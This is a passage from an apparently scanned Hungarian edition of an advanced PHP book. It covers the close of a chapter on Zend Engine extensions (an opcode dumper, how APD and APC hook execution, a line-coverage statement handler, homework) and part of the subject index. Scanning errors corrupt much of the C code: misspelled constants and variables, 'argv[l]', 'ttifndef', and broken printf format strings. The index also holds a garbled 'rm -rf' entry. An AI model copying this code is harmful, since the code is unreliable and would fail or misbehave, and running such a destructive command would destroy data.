case ZEND_NOP: return "ZEND_NOP"; break;
case ZEND_ADD: return "ZEND_ADD"; break;
case ZEND_SUB: return "ZEND_SUB"; break;
case ZEND_MUL: return "ZEND_MUL"; break;
case ZEND_DIV: return "ZEND_DIV"; break;
case ZEND_MOD: return "ZEND_MOD"; break;
/* ... */
default: return "UNKNOWN"; break;
}
}

Szükségünk lesz még függvényekre, amelyek kiírják a znode-okat és a hozzájuk tartozó


zval értékeket:

#define BUFFER_LEN 40

char *format_zval(zval * z )
{

static char buffer[BUFFER_LEN];


int len;

switch(z->type) {
case IS_NULL:
return "NULL";
case IS_L0NG:
case IS_B00L:
snprintf(buffer, BUFFER_LEN, "%d", z->value.Ival);
return buffer;
case IS_DOUBLE:
snprintf(buffer, BUFFER_LEN, "%f", z->value.dval);
return buffer;
case IS_STRING:
snprintf(buffer, BUFFER_LEN, "\"%s\"",
php_url_encode(z->value.str.val, z->value.str.len, &len));
return buffer;
case IS_ARRAY:
case IS_0BJECT:
case IS_RESOURCE:
case IS_CONSTANT:
case IS_CONSTANT_ARRAY:
return "" ;
default:
return "unknown";
}
}
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 651

char *format_znode(znode *n)


{
static char buffer[BUFFER_LEN];

switch (n->op_type) {
case IS_CONST:
return format_zval(&n->u.constant);
break;
case IS_VAR:
snprintf(buffer, BUFFER_LEN, " $ % d " ,
n->u.var/sizeof(temp_variable)) ;
return buffer;
break;
case IS_TMP_VAR:
snprintf(buffer, BUFFER_LEN, " ~ % d " /
n->u.var/sizeof(temp_variable)) ;
return buffer;
break;
default:
return "";
break;
}
}

A f ormat_zval függvényben nyugodtan elfeledkezhetünk a tömbökről, az objektumok-


ról és az állandókról, mivel ilyen típusok nem jelennek meg a znode-okban. E segéd-
függvények burkolójaként készíthetünk egy függvényt a teljes zend_op kiírására:

void dump_op(zend_op *op, int num)


{
printf("%5d %5d %30s %0 40s %040s % 0 40 s \ n " , num, op->lineno,
opname(op->opcode) ,
format_znode(&op->opl),
format_znode(&op->op2),
format_znode(&op->result)) ;
}

Következő függvényünk feladata a zend_op_array bejárása és az opkódok kiírása sor-


rendjüknek megfelelően:

void dump_op_array(zend_op_array *op_array)


{
if(op_array) {
int i ;
printf("%5s %5s %30s %040s %040s %040s\n", "opnum", "line",
"opcode", "opl", "op2", "result");
652 PHP fejlesztés felsőfokon

for(i = 0; i < op_array->last; i + +) {


dump_op(&op_array->opcodes[i] , i);
}
}
}

Végül kössük össze mindezeket a main () eljárással, ami lefordítja a programot és kiírja
a kapott eredményt:

int main(int argc, char **argv)


{
zend_op_array *op_array;
zend_file_handle file_handle;

if(argc != 2) {
printf("usage: op_dumper <script>\n");
return 1;
}
PHP_EMBED_START_BLOCK(argc,argv);
printf("Script: %s\n", argv[l]);
file_handle.filename = argv[l];
file_handle.free_filename = 0;
filejiandle.type = ZEND_HANDLE_FILENAMB;
file_handle.opened_path = NULL;
op_array = zend_compile_file(&file_handle,
ZEND_INCLUDE TSRMLS_CC);
if(!op_array) {
printf("Error parsing script: %s\n", file_handle.filename);
return 1;
}
dump_op_array((void *) op_array);
PHP_EMBED_END_BLOCK();
return 0;
}

Ha a kódot a korábbiakban látott psh-hoz hasonlóan lefordítjuk, teljes opkódlistákat ké-


szíthetünk programjainkból.

APD
A 18. fejezetben megtanultuk, miként használhatjuk az APD-t a PHP kód profiljának elké-
szítésére. Itt valójában egy Zend bővítményről van szó, ami a zend_execute () burkolá-
sával lehetővé teszi a függvényhívások időtartamainak mérését.
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 653

Az APD az MINIT részben felülírja mind a zend_execute () , mind a zend_exe-


cute__internal () függvényt, és helyettesíti azokat saját apd_execute () és
apd_execute_internal () függvényeivel. Lássuk az APD előkészítő függvényét:

PHP_MINIT_FUNCTION(apd)
{
ZEND_INIT_MODULE_GLOBALS(apd, php_apd_init_globals,
php_apd_free_globals);
old_execute = zend_execute;
zend_execute = apd_execute;
zend_execute_internal = apd_execute_internal;
return SUCCESS;
}

Mind az apd_execute (), mind az apd_execute_internal () rögzíti a hívott függ-


vény nevét, helyét és a hívás idejét, majd ezt követően a végrehajtáshoz a mentett végre-
hajtó függvényeket alkalmazzák. íme a két függvény kódja:

ZEND_API void apd_execute(zend_op_array *op_array TSRMLS_DC)


{
char * fname = NULL;

fname = apd_get_active_function_name(op_array TSRMLS_CC);


trace_function_entry(fname, ZEND_USER_FUNCTION,
zend_get_executed_filename(TSRMLS_C),
zend_get_executed_lineno(TSRMLS_C));
old_execute(op_array TSRMLS_CC);
trace_function_exit(fname);
efree(fname);
}

ZEND_API void apd_execute_internal(zend_execute_data


*execute_data_ptr,
int return_value_used TSRMLS_DC)
{
char * fname = NULL;

fname =
apd_get_active_function_name(EG(current_execute_data)
->op_array TSRMLS_CC);
trace_function_entry(fname, ZEND_INTERNAL_FUNCTION,
zend_get_executed_filename(TSRMLS_C),
zend_get_executed_lineno(TSRMLS_C));
execute_internal(execute_data_ptr, return_value_used TSRMLS_CC);
trace_function_exit(fname);
efree(fname);
}
654 PHP fejlesztés felsőfokon

A két függvény alapja ugyanaz - először az apd_get_active_function_name ()


segédfüggvénnyel azonosítják a hívó függvény nevét. Ezután következik az APD
trace_function_entry () függvénye, amely az APD naplózó rendszere segítsé-
gével adatokat jegyez fel a függvényről, köztük a hívást tartalmazó fájlt és sort.

Ezek után az APD a PHP alapértelmezett végrehajtó függvényével meghívja az átadott


függvényt. Ha ennek futása véget ért és a függvény visszatért, az APD meghívja
a trace_function_exit () -et. Ez az APD naplójában rögzíti a függvényhívás végét.
Mindemellett a rendszer tárolja a legutóbbi függvényhívás óta eltelt időt is, ami a profil-
készítés alapfeltétele.

Az APD lényegét megismertük, a többi részletkérdés.

APC
Az APC hasonlóan működik az APD-hez, csak kissé összetettebb módon. Alapjául
a zend_compile_f ile () felülírása szolgál - az alapértelmezés helyett egy olyan függ-
vényt kapunk, mely képes újrakiosztani, tárolni és kiolvasni a kapott zend_op_array-t
az osztott memóriabeli gyorstárból.

A Zend bővítmények visszahívható függvényei


A Zend bővítmények éppen olyanok, mint hagyományos társaik, eltekintve attól, hogy az
alábbi meghatározó szerkezetet valósítják meg:

struct _zend_extension {
char *name;
char *versión;
char *author;
char *URL;
char *copyright;
startup_func_t startup;
shutdown_func_t shutdown;
activate_func_t activate;
deactivate_func_t deactivate;
message_handler_func_t message_handler;
op_array_handler_func_t op_array_handler;
statement_handler_func_t statement_handler;
fcall_begin_handler_func_t fcall_begin_handler;
fcall_end_handler_func_t fcall_end_handler;
op_array_ctor_func_t op_array_ctor;
op_array_dtor_func_t op_array_dtor;
int (*api_no_check)(int api_no);
void *reserved2;
void *reserved3;
void *reserved4;
void *reserved5;
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 655

void *reserved6;
void *reserved7;
void *reserved8;
DL_HANDLE handlé;
int resource_number;
};

A startup, shutdown, activate és deactivate függvények ugyanúgy viselkednek,


mint az MINIT, az MSHUTDOWN, az RINIT, valamint az RSHUTDOWN. Ha egy adott típusú
kezelőt a fordítás közben bejegyzünk, a motor opkódokat helyez a megfelelő pontokra,
melyek meghívják a kezelőt, ha a program futás közben eléri őket.

A Zend bővítmények visszahívható függvényei közül egyértelműen a statement_handler


a leghasznosabb. Ez a függvény a hívó program minden utasítása végén elhelyez egy új
opkódot. E módszert jól alkalmazhatjuk soronkénti profilkészítés, lépésenkénti hibakeresés,
vagy kódelemző segédeszközök esetén. Ezen alkalmazásoknak ugyanis közös tulajdonsá-
guk, hogy minden, a PHP által végrehajtott utasításról adatokat kell gyűjteniük, illetve ezek
alapján kell cselekedniük.

Az alábbi statement_handler megvalósítás az stderr-re írja ki az összes végrehajtott


utasítás sorának számát és a hozzá tartozó fájl nevét:

void statement_handler(zend_op_array *op_array)


{
fprintf(stderr, " % s : % d \ n " , zend_get_executed_filename(TSRMLS_C) ,
zend_get_executed_lineno(TSRMLS_C));
}

Bejegyzéséhez be kell csomagolnunk az alábbi keretbe:

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "zend.h"
#include "zend_extensions.h"

void statement_handler(zend_op_array *op_array)


{
fprintf(stderr, "%s:%d\n", zend_get_executed_filename(TSRMLS_C),
zend_get_executed_lineno(TSRMLS_C));
}
656 PHP fejlesztés felsőfokon

int call_coverage_zend_startup(zend_extension *extension)


{
TSRMLS_FETCH();
CG(extended_info) = 1;
return SUCCESS;
}

ttifndef ZEND_EXT_API
#define ZEND_EXT_API ZEND_DLEXPORT
#endif
ZEND_EXTENSION();

ZEND_DLEXPORT zend_extension zend_extension_entry = {


"Simple Call Coverage",
"1.0",
"George Schlossnagle",
"http: //www. schlossnagle . org/~george",
ii n

call_coverage_zend_startup,
NULL,
NULL,
NULL,
NULL, // message_handler_func_t
NULL, // op_array_handler_func_t
statement_handler, // statement_handler_func_t
NULL, // fcall_begin_handler_func_t
NULL, // fcall_end_handler_func_t
NULL, // op_array_ctor_func_t
NULL, // op_array_dtor_func_t
STANDARD_ZEND_EXTENSION_PROPERTIES
};

Ezután a fordítás ugyanúgy történik, mint egy rendes PHP bővítménynél. Figyeljük meg,
hogy az indító függvény beállítja a CG (extend_inf o) -t - enélkül a motor nem képes el-
készíteni a kezelők működéséhez szükséges bővített opkódokat.

Végezetül, bejegyezzük bővítményünket a php. ini fájlban:

zend_extension=/full/path/to/call_coverage.so

Ezek után, ha az alábbi programot végrehajtjuk...

<?php
$test = 1;
i f( $ t e s t ) {
$counter++;
}
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 657

else {
$counter— ;
}
?>

...ezt a kimenetet kapjuk:

/Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:2
/Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:3
/Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:4
/Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:10

Házi feladat
A korábbi fejezetekben megszokhattuk, hogy itt a További olvasmányok címszó követke-
zik - a SAPI-k és a Zend bővítmények készítéséről szóló rendszeres leírások hiányában
azonban itt sajnos nem nagyon volna mit felsorolnunk. Magán a kódon kívül nem igazán
ajánlhatunk más nyilvános forrást e téren.

Ezért hát inkább fejlesszük magunk eddig megszerzett tudásunkat az alábbi házi feladatok
megoldásával:

• Ágyazzuk be a PHP-t kedvenc szövegszerkesztőnkbe.


• Egészítsük ki a psh-t úgy, hogy viselkedése jobban emlékeztessen egy megszokott
héjra (például, hogy a futtatható fájlokat a parancssorból indíthassuk, és megtalál-
juk azokat a rögzített útvonalakon, valamint kezeljen be- és kimeneti folyamokat).
• Készítsünk kimeneti gyorstárat, amely a Zend Performance Suite-hoz hasonlóan
beburkolja a zend_execute () függvényt úgy, hogy a beemelt fájlok, a függvé-
nyek és más egyebek kimenetét tárolhassuk a nekik átadott paramétereknek meg-
felelően.
• írjuk át a code_coverage Zend bővítményt úgy, hogy a soronkénti futásidőt kül-
ső fájlba írja. Ezután készítsünk egy olyan segédprogramot, amely kiegészíti az ere-
deti programot a soronkénti futtatások számával és a mért futási időkkel.
• Érezzük jól magunkat!
Tárgymutató
* jel 25 $userid 36l
#! jelölés 129 $variabel 74
#ifdef 166 $variable 74
$_COOKIE 116, 364 $version 36l
$_GET 116, 132, 365 $warning 364
$_POST 132 .m4 547
$_SERVER['PHP_SELF] 165 .m4 utasításkészlet 547
$_SERVER['PHP_AUTH_PW] 351 .php 129
$_SERVER['PHP_AUTH_USER'] 351 // jelek 25
$_SERVER[REMOTE_IP] 358 /custom-error.php 78
$_SERVER[USER_AGENT] 359 /etc/hosts 217
$_SESSION 387 /usr/local/bin 129
$argv 132, 134 : jel 46
$cache_handler_func tulajdonság 123 :retab parancs 7
$CACHEBASE 290 © jel 79
$copy 40 ©access 31
$created 361 ©author 27
$dbh 47 ©package 27
$expiration 364 ©páram 27
$GALLERY_BASEDIR 229 ©return 27
$known_user 10 ©var 27
$name 10, 113 [-d] 155
$obj 40 [-f] 155
$options 137 [-n] 155
$params tömb 119 __ callO 39, 68, 149
$php_errormsg 80 __ cloneO 39, 40
$pid 137 __ constructO 34, 39
$regex 132 __ destructO 39
$security tulajdonság 122 __ FILÉ__ 165
$security_settings tulajdonság 122 __ get() 39, 55, 61, 63
$smarty változó 116 __ setO 39, 55, 61, 63
$smarty->cache_lifetime 120 _decrypt 364, 371
$status 137 _encrypt 364, 371
$suite 164 _END_ 13
$template 124 _fetchInfo 31
$text 120 _package 364
$that 40 _unpackage 364
$this 36, 38, 40, 315 'rm -rf P- 230
660 PHP fejlesztés felsőfokon

<?- ?> 23 adatfertőtlenítés 230


<?php echó ?> 23 adatkövetkezetesség ellenőrzése 73
<binding> címke 442 adatok 34
<GetQuote> 440 adatok küldése 130
<portType> címke 442 adatok összhangja 285
<service> címke 442 adatok tárolása felhasználói kérelmek
<symbol> 440 között 259
-> jelölés 36 adatrejtés 37
200 Server OK 152 adatszemét 103
200-as kód 299 addListenerO 175
304 Not Modified válasz 250 addslashesO függvény 380
403 Forbidden üzenet 373 addTest 164
404 Object Not Found 295 addTestSuiteO 168
404-es hiba 298 AdminUser 37
500-as hibakód 78 Adrián Cockroft 464
80 karakter 8 Advanced PHP Debugger 467
A, Á AES 391
ab 459 ágak 205, 264
abbaO 51 ágaztatás 205
abszolút elérési út 165 ageO 37
absztrakt osztály 51 aggresszív takarítás 39
accumulator array 310 Ahmdahl törvény 511
activate 630 aktív rekord minta 333
ad hoc lekérdezések 332 aktuális könyvtár 165
Adapter 41 alacsony késleltetési idejű kapcsolat
Adaptor 41 242
adatbányászó lekérdezések 331 alacsonyszintű nyelvek 228
adatbázis 8, 323 aláhúzás 19
adatbázis teljesítménye 240 alapértelmezett adatok 124
adatbázis-bővítmény 47 alapértelmezett kivételkezelő 100
adatbázis-elérési minták 331 alapértelmezett paraméterlista 135
adatbázis-illesztőprogram 54 alapértelmezett tulajdonságok 596
adatbázis-kapcsolat 39, 77 alapfüggvények 227
adatbázis-kezelő rendszer 323 alapművelet 516
adatbázis-lekérdezés 42 alapszintű naplózás 330
adatbázis-lekérdezés tárolása 259 alarm 142
adatbázismezők hossza 104 alias 9
adatbázisok méretezése 417 alkalmazás-programozási felület 24
adatbázisok optimalizálása 324 alkalmazástesztelés 160
adatbázisrekordok 21 alkalmazásszintű protokoll 350
adatbázis-szerkezet 335 állam 104
adatelérés 331 állandó idejű művelet 308
adatérvényesítés 103, 231 állandók 16
Tárgymutató 661

állandók átalakítása 239 asszociatív tömb 36


állandók meghatározása 573 átalakító műveletek 107
állapot hiánya 349 atime 264
állapot nélküli protokoll 349 átirányítás 101
állapotadatok 349 átmeneti kimenettárolás 101, 260
állapotautomata 13 átmeneti tárolás 111, 120, 236
állapotjelző sütik 285 attribútum 34
állapotobjektum 352 átveréses támadás 357
állapotok 377 authenticate függvény 367
allow_url_fopen 230 AuthException 102
általános catch blokk 90 AuthException kivétel 364
általános gyengeségek felderítése 477 author 432
Alteon 425 automatikus bejegyzés 168
alternatív felület 42 automatikus egységtesztelés 161
AltException osztály 87 automatikus felismerés 421
alulról felfelé irányuló módszer 480 automatikus formázásészlelés 7
alulról felfelé tervezés 221 Avi Rubin 375
always_populate_raw_post_data azonosító 40
beállítás 430 B
Amazon webszolgáltatások 446 bad_javascript_func 105
Amazon.com 446 bájtkód 516
Andrew Hunt 231 Bájtzabálók 284
AOL 285 bar 14
Apache 78, 131, 144, 217, 242, 295, barO 51
353, 630 base 64 kódolás 351
Apache 1.3 245 base64_encodeO 479
Apache 2 245 beágyazás 13, 226
Apache modulok 217 beágyazási hibák 14
apache_hooks 353 beágyazási SÁPI 638
ApacheBench 459 beágyazási szint 6
APC 237, 533, 654 beágyazott ciklus 14
APD 467, 652 beágyazott névterek 20
apd.dumpdir 468 beágyazott program 101
API 24 beállítófájl 13
API dokumentáció 25, 26 Beck 191
archívum 215 beépített függvény 117
argumentum 49, 132 beépített gyorstárak 247
argumentumok sorrendje 229 beépített osztály 90
ArrayAccess felület 66 beépített PHP-függvény 42
ASCII karakter 320 beépített tömbfüggvények 63
assert 170 beginO 287
assertTrue 171 behúzás 4
aszimmetrikus algoritmus 360 bejáró 62, 63
662 PHP fejlesztés felsőfokon

bejelentkező oldal 102 böngészőváltás 285


bejövő szűrés 107 break 13
belső átirányítás 295 Bruce Schneier 375
belső bejáró 56 BSD 196, 266, 271, 278, 497
belső időmérők 468 BSD 4.2 266
belső kiszolgálóhiba 78 BSD osztott memória 391
bemenet kezelése 129 BSD stílus 10
bemenő paraméter 27, 52 buborékrendezés 308
Benchmarkjterate 490, 493 bug 73
Benchmark_Profiler 467 burkoló osztály 42
Berkeley DB 271 C, Cs
beszédes változónevek 18 C 9, 228, 278, 320
beszúrandó adatok 107 C alapú munkamenet-kezelő 610
beszúrás 97, 510 C nyelv 543
betakarítás 137 C stílusú megjegyzések 25
betokozás 36 C++ 100, 166, 228
betörés 77 C++ hivatkozás 40
B-fa 325 C++ stílusú megjegyzések 13, 25
BiglP 425 Cache 260
bináris adatok 478 cache locality 259
bináris adatok kezelése 320 Cache_DBM osztály 277
bináris állományok 216 Cache_File 286, 292
bináris fájlok 198 Cache_Lite 260
bind 45 Cache-Control 248
bind SQL 44 caching 120
bitenkénti OR 76 callback 39
BitKeeper 195 Cascading Style Sheets 125
biztonság 105 catch blokk 86
biztonsági beállítások 122 CBC 365
biztonsági lyuk 77 C-belí karakterlánc 320
biztonsági másolat 195, 418 cdb 271
biztonságos egyidejű elérés 273 CERT 108
Blank-Edelman 157 CFB 365
Blogger API 431 CGO 532
blogid 432 CGI 130, 245, 535
Blowfish 391 CGI SÁPI 627
blowfish algoritmus 360 chdirO 145, 146
bonyolultságszámítás 307 check_credentials 356, 366
bővíthetőség 222 child_mainO 138
bővítmény 218, 544 chmod 129
bővítményváz 545 chroot 416
böngészősáv 282 chrootO 145
böngészőtípusok 131 ChunkCushion 463
Tárgymutató 663

ChunkLength 463 crond 144


ciklusok 9 cross-site scripting 108, 358
címkék 27 cross-site scripting attack 105
címkézés 205 curl bővítmény 188, 230
CISC 516 current_status 149
Cisco 260, 425 CVS 194, 195
Cisco útválasztók 68 cvs add 199
Cisco_RPC 70 cvs commit 199
CLI 130, 535 cvs init 195
CLOB 392 cvs log utasítás 200
close 391 cvs tag -b 206
close függvény 621 CVS tár 195
CMS 210 cvs update 214
CNN 252 CVSROOT 196
code tulajdonság 92 cvswrappers 198
Command-Line Interface 130 cygwin 497
Commerce_calculateStateTaxO 224 csapat 195
Commerce_calculateTax() 224 csapatjáték 404
commit 198 csatolás 227
compiler_globals 532 csomag 26
Complex Instruction Set Computer csomag neve 27
516 csomagolás 213
Concurrent Versioning System 194 csomagkezelés 211
config-dir 218 csomagolt szoftver 216
connectO 44 csökkentett utasításkészletű gép 516
consecutive failures 149 CSS 125, 358
Console_Getopt 133 CSS stíluslapok 125
Console_Getopt::readPHPARGVO 134 csupa nagybetű 16
const osztályállandók 481 D
CONST_CS 573 Daiquiri 463
CONST_PERSISTENT 573 Dan Cowgill 525
content:encoded 432 Dániel Cowgill 467
continue 13 dátumok 202
cookie 279, 352, 380 Dave Winer 432, 450
Cormen 320 Dávid Kormann 375
countO függvény 320 Dávid Mosberger 460
Cowgill 237 Dávid Thomas 231
CPU teljesítménye 240 DB.inc 91
crc32 424 DB_Connection 50
create_object 529, 607 DB_Foo 50
create_tableO 119 DB_Mysql 50, 91
Crispin 191 DB_Mysql objektum 43
cron 278, 357 DB_MysqlStatement objektum 43
664 PHP fejlesztés felsőfokon

DB_Oracle 47 dinamikus tulajdonságok 596


DB_Oracle_Reporting 53 dinamikus URL 352
DB_Pgsql 47 dinamikus weblapok 257
DB_Result osztály 56 displayO 113, 124
DB_Result::result tömb 58 displayO függvény 120
DB_Statement 58 display_errors 76, 77
DB_Wrapper 209 djb 271
dba bővítmény 271 dobozos programok 210
dba_firstkeyO 67 Document Object Model 125
dba_insert függvény 273 DocumentRoot 111, 244
dba_nextkeyO 67 dokumentáció 24
dba_popen függvény 275 DOM 125
dba_replace 273 Donald Knuth 224
DBG 467 döglött kód 239
dbm 271 Dr. Seuss 177
DBM alapú gyorstár 271 E, E
DBM fájl 271, 277, 610 E_COMPILE_ERROR 75
deactivate 630 E_COMPILE_WARNING 75
default_post_reader 640, 645 E_CORE_ERROR 75
defenzív kódolás 228 E_CORE_WARNING 75
define 17 E_ERROR 75
delegáció 48 E_NOTICE 74
deleteO 333 E_PARSE 75
démonok 144 E_USER_ERROR 75
denial-of-service 121 E_USER_NOTICE 75
Derek J. Balling 348 E_USER_WARNING 75
Dériek Rethans 425, 467 EJWARNING 74, 80, 82, 646
Dériek Rethans VLD 517 eBay 357
deseription 149, 432 e-boltok 349
destroy 392 echó 23, 130
destruktor 39, 100 EGO 532
dev.example.com 208 egész 551
dictionary attack 354 egyedi azonosító 38, 354
die() 70 egyedi index 325
diff 200 egyedi IP címek 131
dinamikus adatok tárolása 403 egyedikulcs-megsértés 97
dinamikus bővítmények 548 egyéni függvények 118
dinamikus kérelmek 245 egyéni hibakezelő 81
dinamikus oldalak 110 egyéni hibaoldalak 298
dinamikus tartalmú fájlok 121 egyenlőségjel 133
dinamikus típusok 228 egyesített fejlesztőkörnyezet 176
dinamikus típusokra épülő nyelvek egyesített leképező minta 341
522 egyetlen példány 147
Tárgymutató 665

egyidejű elérés 271 elvont osztály 51


egyidejű hozzáférés 285 elvont réteg 231
Egyke minta 54 elvont tagfüggvény 51, 608
egység 160 emacs 7
egységbe zárás 36 e-mail cím 354
egységtesztelés 160 EmailAddress.inc 164
egységtesztelő keretrendszer l6l emallocO 552
egysoros feltételes utasítások 9 embed 535
egyszeri feliratkozás 367 emberi tényező kihasználása 357
egyszerre több teszt 168 — enable-cli 129
egyszerű hitelesítés 351 —enable-pcntl kapcsoló 135
egyszerű HTTP-hitelesítés 351 -enable-zlib kapcsoló 254
egyszerű objektumelérési protokoll endO 287
438 endTestO 175
egyszerű osztályok 224 enkapszuláció 36
el nem fogott kivétel 86 enterprise 193
elavulás 293, 360 enterprise software 193
elavulás rögzített időtartam után 36l Envelope 439
elavult adatok kezelése 258 eredményhalmaz 57, 343
elektronikus levelezőrendszer 423 eredményhalmaz korlátozása 343
elemek közötti függőségek 159 eredményobjektum 56
elemszám 320 eredménytípus 56
elérési gyakoriság 274 Erich Gamma 161
elérési könyvtár 382 erőforrás bejegyzése 568
elérési makrók 562 erőforrás-megosztás 263
elérési út 145, 165 erőforrások 39, 136, 566
eléréskezelő 56 erőforrások egyidejű elérése 136
elérőfüggvény 16, 346 erős típusosság 522
életben tartás 244 erősen típusos nyelvek 522
elhalt folyamatok 137 error_reporting 79
eljárásközpontú programozás 33 error_reporting beállítás 75
elkülönítés 533 ErrorDocument utasítás 298
elnevezési szabályok 15 érték szerinti átadás 40
előágaztató modell 245 értelmezett nyelv 166, 523
előfeldolgozói utasítás 166 érvényes bemenet 87
előkészítés 99 érvényesítési támadás 105
előre elkészített osztályok 259 érvényesítő tagfüggvény 103
elosztott környezet 399, 408 esemény alapú modell 245
előtöltött gyorstár 258 Ethernet 418
előzetes tárolás 294 eval függvény 508
elsődleges kulcs 325 evalO 236
eltérítés 361 event-based model 245
elvont kiszolgálói API 534 Exception 603
666 PHP fejlesztés felsőfokon

Exception osztály 85, 364 felhasználóazonosító 389


execute 45, 97 felhasználói adatszerkezetek 263
executeO 47 felhasználói bejelentkezési űrlap 103
executor_globals 532 felhasználói bemenet 103
expandtab kapcsoló 7 felhasználói hibák 75
Expires 248 felhasználói jellemzők tárolása 259
EXPLAIN 327 felhasználói kivételkezelők 101
explode 364 felhasználói munkamenet-kezelők 391
export utasítás 205 felhasználói szerződés 271
ext_skel 545 felhasználók azonosítása 361
ext2 263 felhasználók bejegyzése 354
ext3 263 felhasználónév 354
extends kulcsszó 36 felhasználónév-jelszó pár 351
externalether 243 felső szintű kivételkezelő 100
extrém programozás 160, 176, 191 feltételes utasítások 9
Extrémé Networks 425 feltételezések 228
F felülbírálás 40
factorial függvény 88 felületek 49, 608
Factory 52 felülről lefelé irányuló módszer 480
FAILURE 149 felülről lefelé tervezés 221
failure_time 149 fertőtlenítés 229
fájl alapú gyorstárak 263 fetch_assocO 47
fájl hozzáadása 199 fetch_rowO 49
fájlátvitel 188 Fibonacci-sorozat 305, 488, 549
fájlkezelő függvény 230 FIFO 264
fájlleíró 39, 130 figyelmeztetés 74, 86, 646
fájlok 264 figyelők 174
fájlrendszer 264 figyelőmotor 147
fájlváltás 286 figyelőszolgálat 147
fájlváltó 266, 269 filé lock 266
fájlzárak 266 files 391
faktoriális függvény 87 files kezelő 396
falsé 229 FIN adatcsomag 247
fastcgi 245, 535 FIN-ACK csomag 247
fenti 267 findByUsername 335
fejléc 117 First in, first out 264
fejlécállomány 125 fizikai hely 226
fejlécblokk 27 Flash 358
fejlesztési környezet 206 Flesch index 177
felesleges szóköz 123 Flesch olvashatósági pontszám 312
felesleges szolgáltatások eltávolítása Flesch pontszámító 177
480 Flesch-Kincaid szintfelmérés 188
felhasználó IP címe 358 flock 266
Tárgymutató 667

flockO 147 frequency 149


flushO 262 frissítés 97
folyamat befejezése 139 frissítéshez szükséges kérelmek 273
folyamatarchitektúrák 245 FTP 188
folyamatazonosító 135 ftp/scp 214
folyamatcsoport 145 function_entry tömb 551
folyamatelválasztás 144 futásidejű hibák észlelése 49
folyamatfüggetlenítés 144 futásidejű nyelv 226
folyamatok 135 függőségek 227
folyamatok közti adatcsere 278 függvény alapú indexek 325
folyamatok közti gyorstárak 319 függvény kimenetének típusa 27
folyamkezelő API 615 függvénydeklaráció 11, 52
folyamok 615 függvények 34, 117, 526, 549
folyamszűrő 131, 626 függvényen belül megadott változó 15
FONT 125 függvényhívási gráf 227
foo 14 függvénymutatók 646
fopenO 615 függvénynevek 19
forll függvénytörzs 15
forO ciklus 64 fürt 399
FORCAST képlet 188 fürtök tervezése 402
fordítás 517 G, Gy
fordítási idejű hiba 50 Gallery 229
fordítói gyorstár 214, 215, 227, Gamma 71
236, 533 Gang of four 71
fordított helyettesek 242 gc 392
foreach 11, 116 gdbm 271
foreachO 64 generate_pluginsO 474
forgalmi adó 223 generateProxyCodeO 448
forgató DNS 399 Georg Richter 44
forgatókönyv 161 GET 380, 627
forkO 135, 136 getO 276
formátumkarakterek 555 get_cachefileO 290
formátum-karakterlánc 555 get_class_methodsO 164
formátumleíró 133 getlnstanceO 54
formázás 110 get-interests 279
formázó karakterlánc 133 getoptO 134
formázott kimenet 110 getOptionsO függvény 156
fórum 343 getrusageO 497
Foundry 425 getvalO 433
Fowler 71, 191 global kulcsszó 15
freeO 552 globális adatszerkezet 531
FreeBSD 246 globális elérésszámláló 273
FreeBSD pkg 216 globális példány 54
668 PHP fejlesztés felsőfokon

globális változó 15, 574 H


GMT 249 hálózat teljesítménye 240
GNU 271 hálózati áruházak 349
GNU stílus 10 hálózati csomag 397
goodbyeO 37 hálózati fájlrendszer 268, 411, 418
Goodman 125 hálózati fordító 359
Google 191, 357, 403 hálózati kapcsolat 240
GPL 271 hálózati kapcsolatok blokkolása 241
gprof 485 hálózati késleltetés 240
grafikus felület 176 handlé 40
GTK 157, 176 Hanoi tornyai 488
Gunning FOG index 188 hash 59
Guy Harrison 348 HasProperties 597
gzip 254 hatékonyság 260
gyár 53 hatókör 16
Gyár minta 52, 98 hatóköri szabályok 15
gyártó metódus 54 hátsó ajtó 230
gyártófüggvény 54, 209, 315, 607 háttér 144
gyenge típusosság 523 HEAD 197
gyengén típusos nyelvek 523 HEAD ág 206
gyermek 135, 137 headerO 262, 299
gyermekfolyamatok 135 Héj/Perl stílusú megjegyzések 25
gyermekfolyamatok létrehozása 135 héjfolyamat 145
gyors kód 226 hello 15
gyorstár 258, 377, 408 helloO 37
gyorstár egyidejű elérése 258 Hello, Világ! 112
gyorstár méretének fenntartása 258, hello.php 113
263 Helm 71
gyorstár méretének kezelése 284 help 135
gyorstárak 257, 343 helyettes gyorstárak 247
gyorstárak a memóriában 263 helyettes kiszolgáló 242, 359
gyorstárak egyidejű elérése 273 helyettes kód 448
gyorstárak egyidejű használata 264 helyi optimalizálás 239
gyorstárak karbantartása 273 helyi tár 195
gyorstárak összhangja 258 helyileg feloldható gépnevek 217
gyorstárak ürítése 264 helyközi programtámadás 105
gyorstárakban tárolható helyközi támadás 358, 640
adatösszetevők 259 helyőrző 44, 46
gyorstárazás 120, 258 helyrehozhatatlan hibák 75
gyorstárbarát PHP alkalmazások 248 Hewlett Packard 460
gyorstárhatékonyság 259 hexadecimális 551
gyökérkönyvtár 145, 165 hexencodeO 552
gyűjtőtömb 310 hibajavítás 210
Tárgymutató 669

hibák 73 HTTP 188, 247, 349, 427


hibák figyelmen kívül hagyása 79 HTTP 1.0 249
hibák megjelenítése 76 HTTP 1.0 gyorstárak 249
hibák naplózása 78 HTTP 1.1 249, 460
hibák visszaadása 571 HTTP fejléc 248
hibakeresés 159 HTTP folyam 130
hibakeresési információk 78 HTTP gyorsító 240, 242
hibakezelés 14, 73, 76 HTTP gyorstárazás 247
hibakezelő megoldás 406 HTTP kérelmek 54, 427
hibakezelők 81 httpd.conf 217, 243, 245, 298
hibaoldal 102 httperf 460
hibaszint 75 HTTPS 188
hibaüzenet 76, 78, 131, 170 Hunt 128
hierarchikus tárolás 258 I, I
hírportál 279 IBM 260
hitelesítés 349 IBM DB2 271
hitelesítési sémák 350 id tulajdonság 40
hitelesítési sütik 390 IDE 176
hitelesítéskezelő 353 idegen kulcs adatmegszorítás 104
hitelesítő függvény 351 ideiglenes változók 16, 18
hitelesítő kiszolgáló 368 idézőjel 107
hivatkozás 105 idő alapú CVS különbségfájlok 202
